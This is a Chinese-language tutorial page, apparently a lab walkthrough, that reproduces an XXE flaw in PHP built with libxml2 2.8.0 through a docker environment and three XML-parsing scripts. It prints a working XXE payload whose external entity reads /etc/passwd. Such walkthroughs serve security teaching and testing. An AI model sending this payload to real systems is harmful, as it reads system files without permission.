您当前的位置:首页 > 计算机 > 安全防护

PHP XXE漏洞

时间:10-11来源:作者:点击数:

影响版本

libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。

libxml:Libxml是一个实现读、创建及操纵XML数据功能的C语言库。

漏洞复现

使用如下命令编译并启动环境:

docker-compose up -d

环境启动后,访问http://your-ip:8080/index.php即可看到phpinfo,搜索libxml即可看到其版本为2.8.0。

Web目录再WWW文件中:

dom.php 使用DOMDocument解析body

index.php 展示phpinfo作为首页

SimpleXMLElement.php 使用SimpleXMLElement类解析body

simplexml_load_string.php 使用simplexml_load_string函数解析body

dom.phpSimpleXMLElement.phpsimplexml_load_string.php均可触发XXE漏洞

访问首页:libxml版本是2.8.0,可以尝试XXE漏洞

测试Dom.php进行触发XXE漏洞:

Payload:
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

读取 /etc/passwd

方便获取更多学习、工作、生活信息请关注本站微信公众号城东书院 微信服务号城东书院 微信订阅号
推荐内容
相关内容
栏目更新
栏目热门